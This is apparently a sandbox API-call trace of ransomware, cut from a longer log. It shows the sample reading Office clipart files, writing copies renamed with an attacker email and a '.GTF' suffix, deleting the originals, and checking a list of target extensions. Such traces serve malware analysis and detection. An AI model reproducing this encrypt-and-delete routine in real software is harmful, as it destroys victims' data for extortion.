	[0174.789] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.790] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0174.790] lstrlenW (lpString="J0151045.WMF") returned 12
	[0174.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0174.897] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=15464) returned 1
	[0174.897] CloseHandle (hObject=0x55c) returned 1
	[0174.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220
	[0175.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.123] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.123] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0175.124] GetLastError () returned 0x0
	[0175.124] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3c68, lpOverlapped=0x0) returned 1
	[0175.197] WriteFile (in: hFile=0x550, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3c70, lpOverlapped=0x0) returned 1
	[0175.199] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.199] WriteFile (in: hFile=0x550, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.199] SetEndOfFile (hFile=0x550) returned 1
	[0175.207] CloseHandle (hObject=0x550) returned 1
	[0175.211] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.211] SetEndOfFile (hFile=0x58c) returned 1
	[0175.226] CloseHandle (hObject=0x58c) returned 1
	[0175.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1
	[0175.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.228] lstrlenW (lpString=".doc") returned 4
	[0175.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.228] lstrlenW (lpString=".docx") returned 5
	[0175.228] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0175.228] lstrlenW (lpString=".pdf") returned 4
	[0175.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.228] lstrlenW (lpString=".xls") returned 4
	[0175.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.228] lstrlenW (lpString=".xlsx") returned 5
	[0175.228] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0175.228] lstrlenW (lpString=".ppt") returned 4
	[0175.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.228] lstrlenW (lpString=".zip") returned 4
	[0175.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.228] lstrlenW (lpString=".rar") returned 4
	[0175.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.228] lstrlenW (lpString=".bz2") returned 4
	[0175.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.228] lstrlenW (lpString=".7z") returned 3
	[0175.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString=".dbf") returned 4
	[0175.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString=".1cd") returned 4
	[0175.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString=".jpg") returned 4
	[0175.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString=".doc") returned 4
	[0175.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString=".docx") returned 5
	[0175.229] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0175.229] lstrlenW (lpString=".pdf") returned 4
	[0175.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString=".xls") returned 4
	[0175.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.229] lstrlenW (lpString=".xlsx") returned 5
	[0175.229] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0175.229] lstrlenW (lpString=".ppt") returned 4
	[0175.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.229] lstrlenW (lpString=".zip") returned 4
	[0175.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.229] lstrlenW (lpString=".rar") returned 4
	[0175.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString=".bz2") returned 4
	[0175.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.229] lstrlenW (lpString=".7z") returned 3
	[0175.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.259] lstrlenW (lpString=".dbf") returned 4
	[0175.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.259] lstrlenW (lpString=".1cd") returned 4
	[0175.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0175.259] lstrlenW (lpString=".jpg") returned 4
	[0175.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.259] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.259] lstrlenW (lpString="J0151061.WMF") returned 12
	[0175.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.260] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=6752) returned 1
	[0175.260] CloseHandle (hObject=0x58c) returned 1
	[0175.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220
	[0175.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.261] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.261] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.263] GetLastError () returned 0x0
	[0175.263] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1a60, lpOverlapped=0x0) returned 1
	[0175.386] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0175.387] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.387] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.388] SetEndOfFile (hFile=0x540) returned 1
	[0175.388] CloseHandle (hObject=0x540) returned 1
	[0175.388] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.388] SetEndOfFile (hFile=0x58c) returned 1
	[0175.390] CloseHandle (hObject=0x58c) returned 1
	[0175.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString=".doc") returned 4
	[0175.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString=".docx") returned 5
	[0175.395] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.395] lstrlenW (lpString=".pdf") returned 4
	[0175.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString=".xls") returned 4
	[0175.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.395] lstrlenW (lpString=".xlsx") returned 5
	[0175.395] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.395] lstrlenW (lpString=".ppt") returned 4
	[0175.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString=".zip") returned 4
	[0175.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.395] lstrlenW (lpString=".rar") returned 4
	[0175.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString=".bz2") returned 4
	[0175.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString=".7z") returned 3
	[0175.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString=".dbf") returned 4
	[0175.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString=".1cd") returned 4
	[0175.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.395] lstrlenW (lpString=".jpg") returned 4
	[0175.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString=".doc") returned 4
	[0175.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString=".docx") returned 5
	[0175.396] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.396] lstrlenW (lpString=".pdf") returned 4
	[0175.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString=".xls") returned 4
	[0175.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.396] lstrlenW (lpString=".xlsx") returned 5
	[0175.396] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.396] lstrlenW (lpString=".ppt") returned 4
	[0175.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString=".zip") returned 4
	[0175.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.396] lstrlenW (lpString=".rar") returned 4
	[0175.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString=".bz2") returned 4
	[0175.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString=".7z") returned 3
	[0175.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString=".dbf") returned 4
	[0175.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString=".1cd") returned 4
	[0175.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0175.396] lstrlenW (lpString=".jpg") returned 4
	[0175.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.397] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.397] lstrlenW (lpString="J0152414.WMF") returned 12
	[0175.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.397] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=24844) returned 1
	[0175.397] CloseHandle (hObject=0x58c) returned 1
	[0175.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220
	[0175.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.398] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.398] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.399] GetLastError () returned 0x0
	[0175.399] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x610c, lpOverlapped=0x0) returned 1
	[0175.434] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6110, lpOverlapped=0x0) returned 1
	[0175.435] ReadFile (in: hFile=0x58c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.436] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.436] SetEndOfFile (hFile=0x540) returned 1
	[0175.436] CloseHandle (hObject=0x540) returned 1
	[0175.436] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.436] SetEndOfFile (hFile=0x58c) returned 1
	[0175.439] CloseHandle (hObject=0x58c) returned 1
	[0175.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1
	[0175.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.440] lstrlenW (lpString=".doc") returned 4
	[0175.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString=".docx") returned 5
	[0175.441] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.441] lstrlenW (lpString=".pdf") returned 4
	[0175.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString=".xls") returned 4
	[0175.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.441] lstrlenW (lpString=".xlsx") returned 5
	[0175.441] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.441] lstrlenW (lpString=".ppt") returned 4
	[0175.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString=".zip") returned 4
	[0175.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.441] lstrlenW (lpString=".rar") returned 4
	[0175.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString=".bz2") returned 4
	[0175.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString=".7z") returned 3
	[0175.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString=".dbf") returned 4
	[0175.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString=".1cd") returned 4
	[0175.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString=".jpg") returned 4
	[0175.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.441] lstrlenW (lpString=".doc") returned 4
	[0175.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString=".docx") returned 5
	[0175.442] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.442] lstrlenW (lpString=".pdf") returned 4
	[0175.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString=".xls") returned 4
	[0175.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.442] lstrlenW (lpString=".xlsx") returned 5
	[0175.442] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.442] lstrlenW (lpString=".ppt") returned 4
	[0175.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.442] lstrlenW (lpString=".zip") returned 4
	[0175.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.442] lstrlenW (lpString=".rar") returned 4
	[0175.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString=".bz2") returned 4
	[0175.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString=".7z") returned 3
	[0175.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.442] lstrlenW (lpString=".dbf") returned 4
	[0175.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0175.442] lstrlenW (lpString=".1cd") returned 4
	[0175.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
